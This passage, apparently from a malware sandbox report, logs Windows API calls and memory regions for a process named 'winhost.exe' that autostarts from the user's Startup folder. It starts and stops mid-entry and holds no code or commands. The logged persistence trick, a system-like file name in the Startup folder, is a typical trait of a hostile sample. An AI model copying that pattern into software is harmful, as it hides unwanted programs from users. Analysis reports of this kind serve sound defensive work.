() returned 0x6 [0262.048] WCSToMBEx () returned 0x6 [0262.048] LoadStringBaseExW () returned 0x4 [0262.048] WCSToMBEx () returned 0x4 [0262.048] LoadStringBaseExW () returned 0x5 [0262.048] WCSToMBEx () returned 0x5 [0262.048] LoadStringBaseExW () returned 0x5 [0262.048] WCSToMBEx () returned 0x5 [0262.048] LoadStringBaseExW () returned 0x6 [0262.048] WCSToMBEx () returned 0x6 [0262.048] LoadStringBaseExW () returned 0x5 [0262.049] WCSToMBEx () returned 0x5 [0262.049] RtlCaptureAnsiString () returned 0x1 [0262.049] NtUserRegisterWindowMessage () returned 0xc0eb [0262.049] RtlCaptureAnsiString () returned 0x1 [0262.049] NtUserRegisterWindowMessage () returned 0xc0fe [0262.049] GetVersion () returned 0x1db10106 [0262.049] GetCurrentProcessId () returned 0x558 [0262.049] InternalAddAtom () returned 0xc04e [0262.049] GetCurrentThreadId () returned 0x55c [0262.049] InternalAddAtom () returned 0xc04f [0262.049] RtlCaptureAnsiString () returned 0x1 [0262.049] NtUserRegisterWindowMessage () returned 0xc103 [0262.049] GetSystemMetrics (nIndex=19) returned 1 [0262.183] GetSystemMetrics (nIndex=75) returned 1 [0262.183] IsInsideUserApiHook () returned 0x1 [0262.183] _BeginIfHookedUserApiHook () returned 0x1 [0262.183] __SEH_epilog4 () returned 0x1 [0262.183] LoadCursorW (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003 [0262.183] LoadCursorW (hInstance=0x0, lpCursorName=0x7f86) returned 0x10015 [0262.183] LoadCursorW (hInstance=0x400000, lpCursorName=0x7ff9) returned 0xb00d3 [0262.183] LoadCursorW (hInstance=0x0, lpCursorName=0x7f8b) returned 0x1001b [0262.183] LoadCursorW (hInstance=0x0, lpCursorName=0x7f8a) returned 0x10019 [0262.183] LoadCursorW (hInstance=0x0, lpCursorName=0x7f88) returned 0x10017 [0262.184] LoadCursorW (hInstance=0x400000, lpCursorName=0x7ffa) returned 0x10137 [0262.184] LoadCursorW (hInstance=0x400000, lpCursorName=0x7ffb) returned 0x10139 [0262.184] LoadCursorW (hInstance=0x400000, lpCursorName=0x7ffc) returned 0x1013b [0262.184] LoadCursorW (hInstance=0x400000, lpCursorName=0x7ffd) returned 0x1013d [0262.184] LoadCursorW (hInstance=0x400000, lpCursorName=0x7fff) returned 0x1013f [0262.184] LoadCursorW (hInstance=0x400000, lpCursorName=0x7ffe) returned 0x10141 [0262.185] LoadCursorW (hInstance=0x0, lpCursorName=0x7f02) returned 0x10007 [0262.185] LoadCursorW (hInstance=0x0, lpCursorName=0x7f04) returned 0x1000b [0262.185] LoadCursorW (hInstance=0x0, lpCursorName=0x7f84) returned 0x10011 [0262.185] LoadCursorW (hInstance=0x0, lpCursorName=0x7f82) returned 0x1000d [0262.185] LoadCursorW (hInstance=0x0, lpCursorName=0x7f85) returned 0x10013 [0262.185] LoadCursorW (hInstance=0x0, lpCursorName=0x7f83) returned 0x1000f [0262.185] LoadCursorW (hInstance=0x0, lpCursorName=0x7f86) returned 0x10015 [0262.185] LoadCursorW (hInstance=0x0, lpCursorName=0x7f01) returned 0x10005 [0262.185] LoadCursorW (hInstance=0x0, lpCursorName=0x7f03) returned 0x10009 [0262.185] LoadCursorW (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003 [0262.185] NtUserCallOneParam (Param=0x0, Routine=0x2b) returned 0x4090409 [0262.185] NtUserGetDC () returned 0x10107d5 [0262.185] GetDeviceCaps (hdc=0x10107d5, index=90) returned 96 [0262.185] GdiReleaseDC () returned 0x1 [0262.185] NtUserCallOneParam (Param=0x10107d5, Routine=0x3b) returned 0x1 [0262.185] EnumDisplayMonitors (hdc=0x0, lprcClip=0x0, lpfnEnum=0x448c2c, dwData=0x26d156c) returned 1 [0262.185] IsInsideUserApiHook () returned 0x1 [0262.185] _BeginIfHookedUserApiHook () returned 0x1 [0262.185] __SEH_epilog4 () returned 0x1 [0262.185] CreateFontIndirectA (lplf=0x18f867) returned 0xd0a0244 [0262.185] GetObjectA (in: h=0xd0a0244, c=60, pv=0x18f658 | out: pv=0x18f658) returned 60 [0262.185] IsInsideUserApiHook () returned 0x1 [0262.185] _BeginIfHookedUserApiHook () returned 0x1 [0262.186] __SEH_epilog4 () returned 0x1 [0262.186] CreateFontIndirectA (lplf=0x18f7ef) returned 0xc0a0246 [0262.186] GetObjectA (in: h=0xc0a0246, c=60, pv=0x18f658 | out: pv=0x18f658) returned 60 [0262.186] CreateFontIndirectA (lplf=0x18f7b3) returned 0xe0a0243 [0262.186] GetObjectA (in: h=0xe0a0243, c=60, pv=0x18f658 | out: pv=0x18f658) returned 60 [0262.188] GetClassInfoExA (in: hInstance=0x400000, lpszClass="TApplication", lpwcx=0x18f724 | out: lpwcx=0x18f724) returned 0 [0262.188] RegisterClassExWOWA () returned 0x20c102 [0262.188] GetSystemMetrics (nIndex=0) returned 1440 [0262.189] GetSystemMetrics (nIndex=1) returned 900 [0262.189] _CreateWindowEx () returned 0x1012e [0262.192] _SetWindowLong () returned 0x406418 [0262.192] @ValidateHwnd@4 () returned 0xd445f0 [0262.192] SendMessageWorker () returned 0x0 [0262.205] NtUserSetClassLong () returned 0x0 [0262.205] NtUserGetSystemMenu () returned 0x1014b [0262.207] NtUserDeleteMenu () returned 0x1 [0262.207] NtUserDeleteMenu () returned 0x1 [0262.207] NtUserDeleteMenu () returned 0x1 [0262.207] NtUserGetKeyboardLayoutList () returned 0x1 [0262.209] RtlCaptureAnsiString () returned 0x1 [0262.209] NtUserRegisterWindowMessage () returned 0xc0c2 [0262.209] KernelBaseGetGlobalData () returned 0x75540000 [0262.209] GetTempPathW (in: nBufferLength=0x104, lpBuffer=0xabc480 | out: lpBuffer="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\") returned 0x25 [0262.209] KernelBaseGetGlobalData () returned 0x75540000 [0262.209] RtlUnicodeStringToAnsiString (in: DestinationString=0x18f8c8, SourceString="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\", AllocateDestinationString=0 | out: DestinationString="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\") returned 0x0 [0262.209] LoadStringBaseExW () returned 0x2 [0262.209] WCSToMBEx () returned 0x2 [0262.209] LoadStringBaseExW () returned 0x2 [0262.209] WCSToMBEx () returned 0x2 [0262.209] LoadStringBaseExW () returned 0x2 [0262.209] WCSToMBEx () returned 0x2 [0262.209] LoadStringBaseExW () returned 0x2 [0262.209] WCSToMBEx () returned 0x2 [0262.209] LoadStringBaseExW () returned 0xd [0262.209] WCSToMBEx () returned 0xd [0262.209] LoadStringBaseExW () returned 0xe [0262.209] WCSToMBEx () returned 0xe [0262.209] LoadStringBaseExW () returned 0xa [0262.209] WCSToMBEx () returned 0xa [0262.209] LoadStringBaseExW () returned 0x11 [0262.209] WCSToMBEx () returned 0x11 [0262.209] LoadStringBaseExW () returned 0x16 [0262.209] WCSToMBEx () returned 0x16 [0262.219] ScaleWindowExtEx (in: hdc=0x0, xn=0, xd=0, yn=0, yd=0, lpsz=0x0 | out: lpsz=0x0) returned 0 [0262.219] GetLastError () returned 0x6 Process: id = "12" image_name = "winhost.exe" filename = "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\winhost.exe" page_root = "0xe41c000" os_pid = "0x560" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "autostart" parent_id = "0" os_parent_pid = "0x0" cmd_line = "\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\winhost.exe\" " cur_dir = "C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e2d2" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 2795 start_va = 0x10000 end_va = 0x2ffff entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 2796 start_va = 0x30000 end_va = 0x31fff entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 2797 start_va = 0x40000 end_va = 0x40fff entry_point = 0x40000 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 2798 start_va = 0x50000 end_va = 0x8ffff entry_point = 0x0 region_type = private name = "private_0x0000000000050000" filename = "" Region: id = 2799 start_va = 0x90000 end_va = 0x18ffff entry_point = 0x0 region_type = private name = "private_0x0000000000090000" filename = "" Region: id = 2800 start_va = 0x190000 end_va = 0x193fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000190000" filename = "" Region: id = 2801 start_va = 0x400000 end_va = 0x8fbfff entry_point = 0x400000 region_type = mapped_file name = "winhost.exe" filename = "\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\winhost.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\winhost.exe") Region: id = 2802 start_va = 0x77170000 end_va = 0x77318fff entry_point = 0x77170000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 2803 start_va = 0x77350000 end_va = 0x774cffff entry_point = 0x77350000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll") Region: id = 2804 start_va = 0x7efb0000 end_va = 0x7efd2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efb0000" filename = "" Region: id = 2805 start_va = 0x7efdb000 end_va = 0x7efddfff entry_point = 0x0 region_type = private name = "private_0x000000007efdb000" filename = "" Region: id = 2806 start_va = 0x7efde000 end_va = 0x7efdefff entry_point = 0x0 region_type = private name = "private_0x000000007efde000" filename = "" Region: id = 2807 start_va = 0x7efdf000 end_va = 0x7efdffff entry_point = 0x0 region_type = private name = "private_0x000000007efdf000" filename = "" Region: id = 2808 start_va = 0x7efe0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 2809 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 2810 start_va = 0x7fff0000 end_va = 0x7fffffeffff entry_point = 0x0 region_type = private name = "private_0x000000007fff0000" filename = "" Region: id = 2811 start_va = 0x290000 end_va = 0x30ffff entry_point = 0x0 region_type = private name = "private_0x0000000000290000" filename = "" Region: id = 2812 start_va = 0x738c0000 end_va = 0x738c7fff entry_point = 0x738c0000 region_type = mapped_file name = "wow64cpu.dll" filename = "\\Windows\\System32\\wow64cpu.dll" (normalized: "c:\\windows\\system32\\wow64cpu.dll") Region: id = 2813 start_va = 0x738d0000 end_va = 0x7392bfff entry_point = 0x738d0000 region_type = mapped_file name = "wow64win.dll" filename = "\\Windows\\System32\\wow64win.dll" (normalized: "c:\\windows\\system32\\wow64win.dll") Region: id = 2814 start_va = 0x73930000 end_va = 0x7396efff entry_point = 0x73930000 region_type = mapped_file name = "wow64.dll" filename = "\\Windows\\System32\\wow64.dll" (normalized: "c:\\windows\\system32\\wow64.dll") Region: id = 2815 start_va = 0x76f50000 end_va = 0x7706efff entry_point = 0x0 region_type = private name = "private_0x0000000076f50000" filename = "" Region: id = 2816 start_va = 0x77070000 end_va = 0x77169fff entry_point = 0x0 region_type = private name = "private_0x0000000077070000" filename = "" Region: id = 2883 start_va = 0x10000 end_va = 0x1ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 2884 start_va = 0x1a0000 end_va = 0x206fff entry_point = 0x1a0000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 2885 start_va = 0x9f0000 end_va = 0xaeffff entry_point = 0x0 region_type = private name = "private_0x00000000009f0000" filename = "" Region: id = 2886 start_va = 0x75500000 end_va = 0x75545fff entry_point = 0x75500000 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\SysWOW64\\KernelBase.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll") Region: id = 2887 start_va = 0x75590000 end_va = 0x7569ffff entry_point = 0x75590000 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 2888 start_va = 0x7efe0000 end_va = 0x7f0dffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 2889 start_va = 0x7f0e0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 2907 start_va = 0x20000 end_va = 0x20fff entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 2908 start_va = 0x30000 end_va = 0x30fff entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 2909 start_va = 0x758a0000 end_va = 0x7599ffff entry_point = 0x758a0000 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\SysWOW64\\user32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll") Region: id = 2910 start_va = 0x76940000 end_va = 0x769cffff entry_point = 0x76940000 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\SysWOW64\\gdi32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll") Region: id = 2911 start_va = 0x750a0000 end_va = 0x750a9fff entry_point = 0x750a0000 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\SysWOW64\\lpk.dll" (normalized: "c:\\windows\\syswow64\\lpk.dll") Region: id = 2912 start_va = 0x759e0000 end_va = 0x75a7cfff entry_point = 0x759e0000 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\SysWOW64\\usp10.dll" (normalized: "c:\\windows\\syswow64\\usp10.dll") Region: id = 2913 start_va = 0x76d30000 end_va = 0x76ddbfff entry_point = 0x76d30000 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\SysWOW64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll") Region: id = 2914 start_va = 0x74fa0000 end_va = 0x7503ffff entry_point = 0x74fa0000 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\SysWOW64\\advapi32.dll" (normalized: "c:\\windows\\syswow64\\advapi32.dll") Region: id = 2915 start_va = 0x76a50000 end_va = 0x76a68fff entry_point = 0x76a50000 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll") Region: id = 2916 start_va = 0x753e0000 end_va = 0x754cffff entry_point = 0x753e0000 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\SysWOW64\\rpcrt4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll") Region: id = 2917 start_va = 0x74eb0000 end_va = 0x74f0ffff entry_point = 0x74eb0000 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\SysWOW64\\sspicli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll") Region: id = 2918 start_va = 0x74ea0000 end_va = 0x74eabfff entry_point = 0x74ea0000 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\SysWOW64\\cryptbase.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll") Region: id = 2919 start_va = 0x210000 end_va = 0x26ffff entry_point = 0x0 region_type = private name = "private_0x0000000000210000" filename = "" Region: id = 2920 start_va = 0x210000 end_va = 0x22dfff entry_point = 0x210000 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 2921 start_va = 0x260000 end_va = 0x26ffff entry_point = 0x0 region_type = private name = "private_0x0000000000260000" filename = "" Region: id = 2922 start_va = 0xaf0000 end_va = 0xc77fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000af0000" filename = "" Region: id = 2923 start_va = 0x210000 end_va = 0x22dfff entry_point = 0x210000 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 2924 start_va = 0x769d0000 end_va = 0x76a2ffff entry_point = 0x769d0000 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 2925 start_va = 0x75310000 end_va = 0x753dbfff entry_point = 0x75310000 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\SysWOW64\\msctf.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll") Region: id = 2926 start_va = 0x210000 end_va = 0x210fff entry_point = 0x0 region_type = private name = "private_0x0000000000210000" filename = "" Region: id = 2927 start_va = 0x220000 end_va = 0x220fff entry_point = 0x0 region_type = private name = "private_0x0000000000220000" filename = "" Region: id = 2928 start_va = 0xc80000 end_va = 0xe00fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000c80000" filename = "" Region: id = 2929 start_va = 0xe10000 end_va = 0x220ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000e10000" filename = "" Region: id = 2937 start_va = 0x74e40000 end_va = 0x74e71fff entry_point = 0x74e40000 region_type = mapped_file name = "winmm.dll" filename = "\\Windows\\SysWOW64\\winmm.dll" (normalized: "c:\\windows\\syswow64\\winmm.dll") Region: id = 2947 start_va = 0x230000 end_va = 0x230fff entry_point = 0x0 region_type = private name = "private_0x0000000000230000" filename = "" Region: id = 2948 start_va = 0x240000 end_va = 0x24ffff entry_point = 0x0 region_type = private name = "private_0x0000000000240000" filename = "" Region: id = 2949 start_va = 0x2210000 end_va = 0x261ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002210000" filename = "" Region: id = 2959 start_va = 0x2620000 end_va = 0x2a2ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002620000" filename = "" Region: id = 2960 start_va = 0x250000 end_va = 0x25afff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000250000" filename = "" Region: id = 2961 start_va = 0x240000 end_va = 0x24afff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000240000" filename = "" Region: id = 2962 start_va = 0x240000 end_va = 0x24afff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000240000" filename = "" Region: id = 2963 start_va = 0x240000 end_va = 0x24ffff entry_point = 0x0 region_type = private name = "private_0x0000000000240000" filename = "" Region: id = 2964 start_va = 0x2210000 end_va = 0x24defff entry_point = 0x2210000 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 2966 start_va = 0x240000 end_va = 0x240fff entry_point = 0x0 region_type = private name = "private_0x0000000000240000" filename = "" Region: id = 2967 start_va = 0x76de0000 end_va = 0x76e6efff entry_point = 0x76de0000 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\SysWOW64\\oleaut32.dll" (normalized: "c:\\windows\\syswow64\\oleaut32.dll") Region: id = 2968 start_va = 0x75b80000 end_va = 0x75cdbfff entry_point = 0x75b80000 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\SysWOW64\\ole32.dll" (normalized: "c:\\windows\\syswow64\\ole32.dll") Region: id = 2969 start_va = 0x74e30000 end_va = 0x74e38fff entry_point = 0x74e30000 region_type = mapped_file name = "version.dll" filename = "\\Windows\\SysWOW64\\version.dll" (normalized: "c:\\windows\\syswow64\\version.dll") Region: id = 2970 start_va = 0x74da0000 end_va = 0x74e23fff entry_point = 0x74da0000 region_type = mapped_file name = "comctl32.dll" filename = "\\Windows\\winsxs\\x86_microsoft.windows.common-controls_6595b64144ccf1df_5.82.7601.17514_none_ec83dffa859149af\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.windows.common-controls_6595b64144ccf1df_5.82.7601.17514_none_ec83dffa859149af\\comctl32.dll") Region: id = 2971 start_va = 0x310000 end_va = 0x34ffff entry_point = 0x0 region_type = private name = "private_0x0000000000310000" filename = "" Region: id = 2972 start_va = 0x76ed0000 end_va = 0x76f4afff entry_point = 0x76ed0000 region_type = mapped_file name = "comdlg32.dll" filename = "\\Windows\\SysWOW64\\comdlg32.dll" (normalized: "c:\\windows\\syswow64\\comdlg32.dll") Region: id = 2973 start_va = 0x75040000 end_va = 0x75096fff entry_point = 0x75040000 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\SysWOW64\\shlwapi.dll" (normalized: "c:\\windows\\syswow64\\shlwapi.dll") Region: id = 2974 start_va = 0x75cf0000 end_va = 0x76939fff entry_point = 0x75cf0000 region_type = mapped_file name = "shell32.dll" filename = "\\Windows\\SysWOW64\\shell32.dll" (normalized: "c:\\windows\\syswow64\\shell32.dll") Region: id = 2976 start_va = 0x24e0000 end_va = 0x26d0fff entry_point = 0x24e0000 region_type = mapped_file name = "winhost.exe" filename = "\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\winhost.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\winhost.exe") Region: id = 2978 start_va = 0x26e0000 end_va = 0x28d0fff entry_point = 0x0 region_type = private name = "private_0x00000000026e0000" filename = "" Region: id = 3134 start_va = 0x350000 end_va = 0x380fff entry_point = 0x0 region_type = private name = "private_0x0000000000350000" filename = "" Region: id = 3135 start_va = 0x250000 end_va = 0x250fff entry_point = 0x0 region_type = private name = "private_0x0000000000250000" filename = "" Region: id = 3141 start_va = 0x270000 end_va = 0x27ffff entry_point = 0x0 region_type = private name = "private_0x0000000000270000" filename = "" Region: id = 3142 start_va = 0x270000 end_va = 0x270fff entry_point = 0x0 region_type = private name = "private_0x0000000000270000" filename = "" Region: id = 3143 start_va = 0x310000 end_va = 0x331fff entry_point = 0x0 region_type = private name = "private_0x0000000000310000" filename = "" Region: id = 3144 start_va = 0x340000 end_va = 0x34ffff entry_point = 0x0 region_type = private name = "private_0x0000000000340000" filename = "" Region: id = 3145 start_va = 0x280000 end_va = 0x280fff entry_point = 0x0 region_type = private name = "private_0x0000000000280000" filename = "" Region: id = 3146 start_va = 0x390000 end_va = 0x391fff entry_point = 0x0 region_type = private name = "private_0x0000000000390000" filename = "" Region: id = 3147 start_va = 0x3a0000 end_va = 0x3affff entry_point = 0x0 region_type = private name = "private_0x00000000003a0000" filename = "" Region: id = 3148 start_va = 0x3b0000 end_va = 0x3b1fff entry_point = 0x0 region_type = private name = "private_0x00000000003b0000" filename = "" Region: id = 3149 start_va = 0x3c0000 end_va = 0x3c1fff entry_point = 0x0 region_type = private name = "private_0x00000000003c0000" filename = "" Region: id = 3150 start_va = 0x3d0000 end_va = 0x3d1fff entry_point = 0x0 region_type = private name = "private_0x00000000003d0000" filename = "" Region: id = 3151 start_va = 0x3e0000 end_va = 0x3e0fff entry_point = 0x0 region_type = private name = "private_0x00000000003e0000" filename = "" Region: id = 3152 start_va = 0x3f0000 end_va = 0x3f0fff entry_point = 0x0 region_type = private name = "private_0x00000000003f0000" filename = "" Region: id = 3153 start_va = 0x3b0000 end_va = 0x3b0fff entry_point = 0x0 region_type = private name = "private_0x00000000003b0000" filename = "" Region: id = 3154 start_va = 0x900000 end_va = 0x900fff entry_point = 0x0 region_type = private name = "private_0x0000000000900000" filename = "" Region: id = 3155 start_va = 0x3b0000 end_va = 0x3b0fff entry_point = 0x0 region_type = private name = "private_0x00000000003b0000" filename = "" Region: id = 3156 start_va = 0x910000 end_va = 0x910fff entry_point = 0x0 region_type = private name = "private_0x0000000000910000" filename = "" Region: id = 3157 start_va = 0x3b0000 end_va = 0x3b0fff entry_point = 0x0 region_type = private name = "private_0x00000000003b0000" filename = "" Region: id = 3158 start_va = 0x3b0000 end_va = 0x3b1fff entry_point = 0x0 region_type = private name = "private_0x00000000003b0000" filename = "" Region: id = 3159 start_va = 0x3b0000 end_va = 0x3b0fff entry_point = 0x0 region_type = private name = "private_0x00000000003b0000" filename = "" Region: id = 3160 start_va = 0x3b0000 end_va = 0x3b1fff entry_point = 0x0 region_type = private name = "private_0x00000000003b0000" filename = "" Region: id = 3161 start_va = 0x920000 end_va = 0x920fff entry_point = 0x0 region_type = private name = "private_0x0000000000920000" filename = "" Region: id = 3162 start_va = 0x930000 end_va = 0x930fff entry_point = 0x0 region_type = private name = "private_0x0000000000930000" filename = "" Region: id = 3163 start_va = 0x940000 end_va = 0x940fff entry_point = 0x0 region_type = private name = "private_0x0000000000940000" filename = "" Region: id = 3164 start_va = 0x950000 end_va = 0x950fff entry_point = 0x0 region_type = private name = "private_0x0000000000950000" filename = "" Region: id = 3165 start_va = 0x960000 end_va = 0x960fff entry_point = 0x0 region_type = private name = "private_0x0000000000960000" filename = "" Region: id = 3166 start_va = 0x970000 end_va = 0x970fff entry_point = 0x0 region_type = private name = "private_0x0000000000970000" filename = "" Region: id = 3167 start_va = 0x980000 end_va = 0x980fff entry_point = 0x0 region_type = private name = "private_0x0000000000980000" filename = "" Region: id = 3168 start_va = 0x990000 end_va = 0x991fff entry_point = 0x0 region_type = private name = "private_0x0000000000990000" filename = "" Region: id = 3169 start_va = 0x9a0000 end_va = 0x9a0fff entry_point = 0x0 region_type = private name = "private_0x00000000009a0000" filename = "" Region: id = 3170 start_va = 0x9b0000 end_va = 0x9b0fff entry_point = 0x0 region_type = private name = "private_0x00000000009b0000" filename = "" Region: id = 3171 start_va = 0x3b0000 end_va = 0x3b0fff entry_point = 0x0 region_type = private name = "private_0x00000000003b0000" filename = "" Region: id = 3172 start_va = 0x3b0000 end_va = 0x3b0fff entry_point = 0x0 region_type = private name = "private_0x00000000003b0000" filename = "" Region: id = 3173 start_va = 0x3b0000 end_va = 0x3b0fff entry_point = 0x0 region_type = private name = "private_0x00000000003b0000" filename = "" Region: id = 3174 start_va = 0x9c0000 end_va = 0x9c0fff entry_point = 0x0 region_type = private name = "private_0x00000000009c0000" filename = "" Region: id = 3175 start_va = 0x9d0000 end_va = 0x9d0fff entry_point = 0x0 region_type = private name = "private_0x00000000009d0000" filename = "" Region: id = 3176 start_va = 0x9e0000 end_va = 0x9e0fff entry_point = 0x0 region_type = private name = "private_0x00000000009e0000" filename = "" Region: id = 3177 start_va = 0x24e0000 end_va = 0x24e0fff entry_point = 0x0 region_type = private name = "private_0x00000000024e0000" filename = "" Region: id = 3178 start_va = 0x24f0000 end_va = 0x24f0fff entry_point = 0x0 region_type = private name = "private_0x00000000024f0000" filename = "" Region: id = 3179 start_va = 0x2500000 end_va = 0x2500fff entry_point = 0x0 region_type = private name = "private_0x0000000002500000" filename = "" Region: id = 3180 start_va = 0x2510000 end_va = 0x2510fff entry_point = 0x0 region_type = private name = "private_0x0000000002510000" filename = "" Region: id = 3181 start_va = 0x2520000 end_va = 0x2520fff entry_point = 0x0 region_type = private name = "private_0x0000000002520000" filename = "" Region: id = 3182 start_va = 0x2530000 end_va = 0x2530fff entry_point = 0x0 region_type = private name = "private_0x0000000002530000" filename = "" Region: id = 3183 start_va = 0x2540000 end_va = 0x2540fff entry_point = 0x0 region_type = private name = "private_0x0000000002540000" filename = "" Region: id = 3184 start_va = 0x2550000 end_va = 0x2550fff entry_point = 0x0 region_type = private name = "private_0x0000000002550000" filename = "" Region: id = 3185 start_va = 0x2560000 end_va = 0x2560fff entry_point = 0x0 region_type = private name = "private_0x0000000002560000" filename = "" Region: id = 3186 start_va = 0x2570000 end_va = 0x2570fff entry_point = 0x0 region_type = private name = "private_0x0000000002570000" filename = "" Region: id = 3187 start_va = 0x2580000 end_va = 0x2580fff entry_point = 0x0 region_type = private name = "private_0x0000000002580000" filename = "" Region: id = 3188 start_va = 0x2590000 end_va = 0x2590fff entry_point = 0x0 region_type = private name = "private_0x0000000002590000" filename = "" Region: id = 3189 start_va = 0x25a0000 end_va = 0x25a0fff entry_point = 0x0 region_type = private name = "private_0x00000000025a0000" filename = "" Region: id = 3190 start_va = 0x25b0000 end_va = 0x25b0fff entry_point = 0x0 region_type = private name = "private_0x00000000025b0000" filename = "" Region: id = 3191 start_va = 0x25c0000 end_va = 0x25c0fff entry_point = 0x0 region_type = private name = "private_0x00000000025c0000" filename = "" Region: id = 3192 start_va = 0x25d0000 end_va = 0x25d0fff entry_point = 0x0 region_type = private name = "private_0x00000000025d0000" filename = "" Region: id = 3193 start_va = 0x25e0000 end_va = 0x25e0fff entry_point = 0x0 region_type = private name = "private_0x00000000025e0000" filename = "" Region: id = 3194 start_va = 0x25f0000 end_va = 0x25f0fff entry_point = 0x0 region_type = private name = "private_0x00000000025f0000" filename = "" Region: id = 3195 start_va = 0x2600000 end_va = 0x2600fff entry_point = 0x0 region_type = private name = "private_0x0000000002600000" filename = "" Region: id = 3196 start_va = 0x2610000 end_va = 0x2610fff entry_point = 0x0 region_type = private name = "private_0x0000000002610000" filename = "" Region: id = 3197 start_va = 0x2620000 end_va = 0x2620fff entry_point = 0x0 region_type = private name = 